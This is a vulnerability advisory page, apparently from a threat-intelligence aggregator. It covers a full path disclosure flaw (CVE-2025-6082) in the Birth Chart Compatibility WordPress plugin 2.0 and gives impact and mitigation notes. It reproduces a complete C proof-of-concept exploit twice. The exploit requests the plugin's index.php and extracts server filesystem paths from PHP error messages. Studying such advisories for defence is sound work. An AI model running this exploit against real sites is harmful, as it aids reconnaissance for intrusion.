Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

Severity: mediumType: exploit

AI Analysis

Technical Summary

The Birth Chart Compatibility WordPress Plugin version 2.0 contains a Full Path Disclosure (FPD) vulnerability. This type of vulnerability occurs when an application reveals the full filesystem path of the server in error messages or other outputs. In this case, the plugin inadvertently exposes the absolute path to its files on the web server. Such information disclosure can aid attackers in crafting more targeted attacks by revealing the directory structure, installed software versions, and potentially sensitive configuration details. The vulnerability is exploitable remotely without authentication, as it involves information leakage through normal web requests. The presence of exploit code written in C indicates that an attacker can automate the retrieval of this information, potentially integrating it into larger attack frameworks. Although the vulnerability does not directly allow code execution or data modification, it lowers the barrier for further exploitation by providing critical reconnaissance information. The absence of patch links suggests that no official fix has been released yet, increasing the risk for users of this plugin. Since the plugin is WordPress-based, it is likely deployed on web servers running PHP and Apache or similar stacks, making it relevant to many web hosting environments.

Potential Impact

For European organizations, this vulnerability poses a moderate risk primarily through information disclosure. Attackers can leverage the full path information to identify server configurations, directory structures, and possibly other installed plugins or themes, which can facilitate more sophisticated attacks such as local file inclusion, remote code execution, or privilege escalation. Organizations relying on WordPress sites with this plugin may face increased exposure to targeted attacks, especially if combined with other vulnerabilities. The impact on confidentiality is moderate due to the leakage of internal server details. Integrity and availability impacts are indirect but possible if attackers use the disclosed information to compromise the system further. Given the widespread use of WordPress in Europe, including by SMEs and public sector entities, this vulnerability could be a stepping stone for attackers aiming at sensitive data or service disruption.

Mitigation Recommendations

European organizations should immediately audit their WordPress installations to identify the presence of the Birth Chart Compatibility Plugin version 2.0. If found, they should disable or remove the plugin until a patch is available. In the absence of an official patch, organizations can implement web application firewall (WAF) rules to block requests that trigger the path disclosure or sanitize error messages to prevent full path output. Additionally, configuring PHP and web server error handling to avoid displaying detailed errors to end users is critical. Organizations should also ensure that directory listing is disabled on web servers and that file permissions are properly set to limit access to sensitive files. Regular vulnerability scanning and monitoring for unusual activity on WordPress sites can help detect exploitation attempts early. Finally, maintaining an inventory of plugins and promptly applying updates when patches are released is essential to reduce exposure.

Affected Countries

Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Austria

Indicators of Compromise

exploit-code: /* * Exploit Title : Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-6082 * Software Link : https://frp.wordpress.org/plugins/birth-chart-compatibility/ * Description : Proof‑of‑Concept exploits the Full Path Disclosure bug in the * “Birth Chart Compatibility” WordPress plugin (<=v2.0). It sends * an HTTP GET request to the plugin’s index.php endpoint, captures * the resulting PHP warning or fatal error, and parses the server’s * filesystem path (e.g. “/var/www/html/wp-content/plugins/…” or * “C:\\xampp\\htdocs\\…”). Revealing this path aids attackers in * chaining further LFI/RCE or reconnaissance attacks. */ #include<stdio.h> #include"argparse.h" #include<string.h> #include <stdlib.h> #include <curl/curl.h> #include <unistd.h> #define FULL 2300 const char *url = NULL; const char *cookies=NULL; int selecetCookie = 0; int verbose = 0; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } const char *keyFound[] = { "Warning:", "Fatal error:", "/var/www/", "C:\\xampp\\" }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void showPath(const char *targetUrl) { char full[FULL]; CURLcode curlCode; struct Mem response = {NULL, 0}; CURL *curl = curl_easy_init(); if (curl == NULL) { exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("==========================================\e[0m\n"); printf("[+] Cleaning Response...\e[0m\n"); printf("[+] Response Buffer : %s\e[0m\n", response.buffer); printf("[+] Response Len : %zu\e[0m\n", response.len); printf("==========================================\e[0m\n"); } fflush(stdout); if (curl) { snprintf(full, sizeof(full), "%s/wp-content/plugins/birth-chart-compatibility/index.php", targetUrl); curl_easy_setopt(curl, CURLOPT_URL, full); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip"); h = curl_slist_append(h, "Accept-Language: en-US,en"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); long httpCode = 0; curlCode = curl_easy_perform(curl); if (curlCode == CURLE_OK) { printf("---------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;33m[+] Input Url : %s\e[0m\n", targetUrl); printf("\e[1;33m[+] Full Format Url : %s\e[0m\n",full); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); int numberKey = sizeof(keyFound) / sizeof(keyFound[0]); if (httpCode >= 200 && httpCode < 300) { printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); for (int k = 0; k < numberKey; k++) { const char *found = strstr(response.buffer, keyFound[k]); if (found) { printf("\e[1;34m[+] Keyword found: %s\e[0m\n", keyFound[k]); printf("\e[1;34m[+] Context: %.100s\e[0m\n", found); } } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Your input Path !\e[0m\n"); printf("\e[1;31m[-] Or Connection in Tragte : (%s)\e[0m\n", targetUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } printf("\e[1;31m[-] Error : %s\n", curl_easy_strerror(curlCode)); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▛▌▙▌▄▌ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌█▌▙▌▙▖ \n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); int loop = 0; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (Base Url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loop, "For loop (Request) (Ex : -f 10)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[1;31m[-] Please Enter Target Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://target.com\e[0m\n"); exitSyscall(); } if (verbose) { verbose=1; } if (cookies) { selecetCookie = 1; } if (loop) { for (int o = 0; o < loop ; o++) { showPath(url); } } showPath(url); return 0; }

Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

Severity: medium

Type: exploit

Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

Technical Summary

Potential Impact

Mitigation Recommendations

Affected Countries

Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Austria

Indicators of Compromise

exploit-code: /* * Exploit Title : Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-6082 * Software Link : https://frp.wordpress.org/plugins/birth-chart-compatibility/ * Description : Proof‑of‑Concept exploits the Full Path Disclosure bug in the * “Birth Chart Compatibility” WordPress plugin (<=v2.0). It sends * an HTTP GET request to the plugin’s index.php endpoint, captures * the resulting PHP warning or fatal error, and parses the server’s * filesystem path (e.g. “/var/www/html/wp-content/plugins/…” or * “C:\\xampp\\htdocs\\…”). Revealing this path aids attackers in * chaining further LFI/RCE or reconnaissance attacks. */ #include<stdio.h> #include"argparse.h" #include<string.h> #include <stdlib.h> #include <curl/curl.h> #include <unistd.h> #define FULL 2300 const char *url = NULL; const char *cookies=NULL; int selecetCookie = 0; int verbose = 0; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } const char *keyFound[] = { "Warning:", "Fatal error:", "/var/www/", "C:\\xampp\\" }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void showPath(const char *targetUrl) { char full[FULL]; CURLcode curlCode; struct Mem response = {NULL, 0}; CURL *curl = curl_easy_init(); if (curl == NULL) { exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("==========================================\e[0m\n"); printf("[+] Cleaning Response...\e[0m\n"); printf("[+] Response Buffer : %s\e[0m\n", response.buffer); printf("[+] Response Len : %zu\e[0m\n", response.len); printf("==========================================\e[0m\n"); } fflush(stdout); if (curl) { snprintf(full, sizeof(full), "%s/wp-content/plugins/birth-chart-compatibility/index.php", targetUrl); curl_easy_setopt(curl, CURLOPT_URL, full); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip"); h = curl_slist_append(h, "Accept-Language: en-US,en"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); long httpCode = 0; curlCode = curl_easy_perform(curl); if (curlCode == CURLE_OK) { printf("---------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;33m[+] Input Url : %s\e[0m\n", targetUrl); printf("\e[1;33m[+] Full Format Url : %s\e[0m\n",full); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); int numberKey = sizeof(keyFound) / sizeof(keyFound[0]); if (httpCode >= 200 && httpCode < 300) { printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); for (int k = 0; k < numberKey; k++) { const char *found = strstr(response.buffer, keyFound[k]); if (found) { printf("\e[1;34m[+] Keyword found: %s\e[0m\n", keyFound[k]); printf("\e[1;34m[+] Context: %.100s\e[0m\n", found); } } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Your input Path !\e[0m\n"); printf("\e[1;31m[-] Or Connection in Tragte : (%s)\e[0m\n", targetUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } printf("\e[1;31m[-] Error : %s\n", curl_easy_strerror(curlCode)); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▛▌▙▌▄▌ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌█▌▙▌▙▖ \n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); int loop = 0; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (Base Url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('f', "loop", &loop, "For loop (Request) (Ex : -f 10)"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[1;31m[-] Please Enter Target Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://target.com\e[0m\n"); exitSyscall(); } if (verbose) { verbose=1; } if (cookies) { selecetCookie = 1; } if (loop) { for (int o = 0; o < loop ; o++) { showPath(url); } } showPath(url); return 0; }

Source: Exploit-DB RSS Feed

Published: Tue Aug 26 2025

Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

Medium

Exploitweb exploit wordpress

Published: Tue Aug 26 2025 (08/26/2025, 00:00:00 UTC)

Source: Exploit-DB RSS Feed

Description

Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

AI-Powered Analysis

AILast updated: 08/27/2025, 01:26:39 UTC

Technical Analysis

Potential Impact

Mitigation Recommendations

Affected Countries

Need more detailed analysis?Get Pro

Pro Feature

For access to advanced analysis and higher rate limits, contact root@offseq.com

Technical Details

Edb Id: 52419
Has Exploit Code: true
Code Language: c

Indicators of Compromise

Exploit Source Code

Exploit Code

Exploit code for Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure

/*
 * Exploit Title : Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure
 * Author       : Byte Reaper
 * Telegram     : @ByteReaper0
 * CVE          : CVE-2025-6082
 * Software Link : https://frp.wordpress.org/plugins/birth-chart-compatibility/
 * Description  : Proof‑of‑Concept exploits the Full Path Disclosure bug in the
 *                “Birth Chart Compatibility” WordPress plugin (<=v2.0). It sends
 *                an HTTP GET request to the plugin’s index.php endpoint,... (8722 more characters)

Code Length: 9,222 characters • Language: C/C++

Threat ID: 68ae5e7aad5a09ad005d88ca

Added to database: 8/27/2025, 1:25:14 AM

Last enriched: 8/27/2025, 1:26:39 AM

Last updated: 8/31/2025, 1:16:54 AM